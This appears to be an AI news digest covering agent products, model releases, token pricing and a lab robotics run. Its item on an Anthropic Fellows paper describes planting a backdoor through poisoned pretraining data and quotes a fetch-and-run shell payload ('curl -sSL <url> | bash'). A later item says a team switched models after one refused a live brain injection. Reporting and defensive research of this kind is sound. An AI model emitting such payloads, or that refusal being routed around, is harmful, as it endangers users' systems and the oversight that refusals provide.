Google Antigravity v2.29 Brings Remote Agents and a Gemini Live Voice Mode: Agent Sessions Run in a Google-Managed Cloud and Keep Working After You Close Your Laptop, Rolling Out to AI Pro and Ultra

Ivan Leo, who works on developer experience at Google DeepMind, shared the official docs for Antigravity's new Remote Agents feature on X on November 4. Per the docs, Remote Agents run agent sessions and tools in an isolated, Google-managed remote environment, so tasks keep going when you close your laptop or browser or switch between desktop and mobile. Sessions start from the Antigravity App, the Antigravity CLI (1.4.12+, agy --remote-agent) or the web at antigravity.google.com, and remote projects can attach GitHub repositories, Google Drive files and uploads. It is rolling out gradually to Google AI Pro and Ultra subscribers on personal accounts; it is not available on the free plan, AI Plus or business accounts. The official changelog shows this ships in Antigravity v2.29.0 (November 3), which also starts rolling out a voice mode powered by Gemini Live for handing requests to the agent by voice, redesigns the Automations page into Scheduled, Always on and Paused lists, and adds a native Jupyter notebook viewer.

Key Takeaways

  • Remote Agents run in an isolated Google-managed environment with no local machine required; Remote Control instead connects to your own computer or server, and the web sidebar switches between them.
  • Three entry points: a New Remote Project in the Antigravity App, agy --remote-agent in CLI 1.4.12+, or antigravity.google.com in any browser, including mobile.
  • Remote projects can attach GitHub repositories (cloned automatically), Google Drive files and uploads (8 MiB per file, 100 MiB per project, 2 GiB per account).
  • CLI remote sessions default to the always-proceed (turbo) permission preset, so commands run without approval; locally installed MCP servers, plugins and skills are not available remotely yet.
  • Also in v2.29.0 (November 3): a Gemini Live voice mode rolling out gradually, a redesigned Automations page, and native rendering of .ipynb notebooks.

Epic Confirms Unreal Engine 5.9: Preview Next Week With Improved AI Workflows and Web Back as a Target Platform

On November 3, the official Unreal Engine account said UE 5.9 is happening, with a Preview build next week that includes improved AI workflows, web as a target platform, and rendering and animation updates; changes are already landing in the 5.9 branch on GitHub, with more details to come. This reverses Epic's June State of Unreal stance that 5.8 was the last planned major UE5 release, with 5.9 kept only as an option. UE 5.8 shipped the Experimental Unreal MCP plugin, which lets MCP clients such as Claude Code and Cursor drive the editor; the 5.9 AI workflow changes likely build on it, but Epic has not published a feature list yet.

Key Takeaways

  • Timing: the official post went out at 13:05 UTC on November 3 and says the 5.9 Preview arrives next week; the exact date and the final release date are not announced
  • Scope (per Epic): improved AI workflows, web as a target platform, and rendering and animation updates; changes are already landing in the 5.9 branch on GitHub
  • Context: in June, State of Unreal called 5.8 the last planned major UE5 release; UE6 targets Early Access at the end of 2027, with the full release 12 to 18 months later
  • AI groundwork: the Experimental Unreal MCP plugin in 5.8 embeds an MCP server in the editor at http://127.0.0.1:8000/mcp by default, loopback only and with no authentication

Microsoft Open-Sources Mage-VL-Cowork, a 4B Computer-Use Agent That Chooses Between Clicking the GUI and Running Bash, Scoring 66.0% on OSWorld-Verified

On October 30, Microsoft's Mage team released Mage-VL-Cowork on Hugging Face under Apache-2.0: a 4B multimodal computer-use agent in which a single model decides at every step whether to act through screenshots and GUI clicks (computer_use) or through bash and Python in a terminal, with no external orchestrator. Microsoft reports a two-run average of 66.0% on OSWorld-Verified (361 tasks, 50-step budget), above Qwen3.6-27B at 63.9% but below the 9B SCALECUA-Qwen3.5-9B at 68.7%.

Microsoft Open-Sources Mage-VL-Cowork, a 4B Computer-Use Agent That Chooses Between Clicking the GUI and Running Bash, Scoring 66.0% on OSWorld-Verified

Key Takeaways

  • 4B parameters, built on Mage-VL (Mage-ViT vision encoder plus Qwen3-4B-Instruct-2507); about 9.48 GB of bf16 weights under Apache-2.0.
  • On OSWorld-Verified, two independent runs scored 65.33% and 66.75% for a 66.0% average; 87.5% on operating-system tasks and 62.7% on multi-app workflows.
  • In Microsoft's side-by-side, a LibreOffice Calc chart task took 39 seconds (6 steps) via Python in the terminal, versus 9:56 (39 steps) for GUI-only Qwen3.6-27B.
  • Online RL adds 10.16 points over hybrid SFT while cutting mean model calls by 13.0% and output tokens by 25.4%.
  • Training data came from Mage-CUA-Forge, which synthesized about 294K desktop and web tasks across 6,915 skills and cut per-task generation cost from $0.906 to $0.158.

Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

Key Takeaways

  • Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
  • Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
  • Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
  • Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
  • Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)

a16z "Rack Spread" charts: average token prices are down 67% since May while token spend is up 122%-160%, as GPU rental prices climb

a16z's Charts of the Week for Oct 30 (by Moses Sternstein) looks at the "Rack Spread": GPU rental prices are rising while token prices fall. The official a16z X account summed it up on Oct 31: since May, average token prices are down 67% and token spend is up more than 120%. By the article's napkin math, Ramp data gives roughly 122%, and Ornn's blended price multiplied by OpenRouter volume gives roughly 160%. A separate post says that since mid-July B300 rentals are up 106%, B200 up 66% and H100 up 17%. a16z also stresses that these indexes come from small, biased samples and do not show true total demand.

a16z "Rack Spread" charts: average token prices are down 67% since May while token spend is up 122%-160%, as GPU rental prices climb

Key Takeaways

  • Prices and spend: since May, average token prices are down 67% and token spend is up more than 120% (a16z post on X, a16z figures)
  • Two napkin estimates: Ramp token-spend data shows about +122%; Ornn blended price times OpenRouter volume shows about +160% (Charts of the Week, described by the author as napkin math, not a rigorous method)
  • GPU rentals since mid-July: B300 +106%, B200 +66%, H100 +17%, while average token prices fell 58% (a16z post)
  • AI spend per employee: an Atlanta Fed survey puts the mean above $1,000, while Ramp's median is $15.70 a month ($188 a year)
  • Reach: the two posts have about 371 and 492 likes and 38K and 96K views (as of 18:15 SGT)

Codex 28-day run, day 27: OpenAI's Tibo posts "Banked 1/2" as the first of two saved usage resets lands

At 00:43 UTC on Nov 1, Tibo (@thsottiaux), who works on Codex and ChatGPT at OpenAI, posted "Banked 1/2" on X; the post has about 6,860 likes and 660K views. In his day 26 post the day before he had teased that "next two days will be resets… banked…", so this is day 27 of his 28-day run: the first of two Codex usage resets you can save and use when you choose. According to OpenAI's Help Center, a banked reset does not refresh usage on arrival; you redeem it in desktop Settings > Usage & billing, web Usage settings, or /usage in the CLI. Eligible plans and the expiry for this particular offer have not been published.

Key Takeaways

  • Source: Tibo's own X post "Banked 1/2" (00:43 UTC, Nov 1), with about 6,860 likes, 1,066 replies and 660K views as of 15:10 SGT
  • Context: his day 26 post (about 14K likes) teased "next two days will be resets… banked…", so a second one is expected on day 28
  • Where to redeem: desktop Settings > Usage & billing, web Usage settings, or /usage then Redeem reset in Codex CLI; not available in the mobile app (OpenAI Help Center)
  • Rule: at least one covered allowance must be below 80% remaining; Plus and Business Standard get the 5-hour and weekly allowances back, Pro 100/200/500 the weekly allowance, and Go the monthly allowance
  • Caveat: using one restarts the usage period from that day; eligible plans and the expiry for this offer have not been published, so check your account

Exin Therapeutics: Claude Sonnet 5 agent picks a gene therapy and drives a live mouse brain injection; Opus 5.5 declined

Exin Therapeutics co-founder and CEO Gabriel Ocana-Santero said on X on Oct 28 that an AI agent chose one of 19 gene therapy vectors, picked the brain region, derived coordinates from three papers and drove a stereotaxic rig to inject 250 nanolitres into an epilepsy-model mouse. WIRED reports Claude Opus 5.5 refused and Sonnet 5 did the run; a vet gated every irreversible step, and the work is not peer-reviewed.

Exin Therapeutics: Claude Sonnet 5 agent picks a gene therapy and drives a live mouse brain injection; Opus 5.5 declined

Key Takeaways

  • The agent chose the drug from 19 vectors, picked the brain region and derived coordinates from 3 papers (per the CEO)
  • It injected 250 nL while watching for bleeding via the rig camera; The Decoder reports 32 observations during the procedure
  • Per WIRED, Claude Opus 5.5 refused to inject, so the team used Sonnet 5; the run took just over 1 hour vs about 45 minutes normally
  • After a coordinate fault the agent refused to bypass its safety limits and the team had to fix the code separately; a vet still did the craniotomy
  • The original post drew 9,426 likes and 1.6M+ views; seizure outcomes are pending and nothing is peer-reviewed
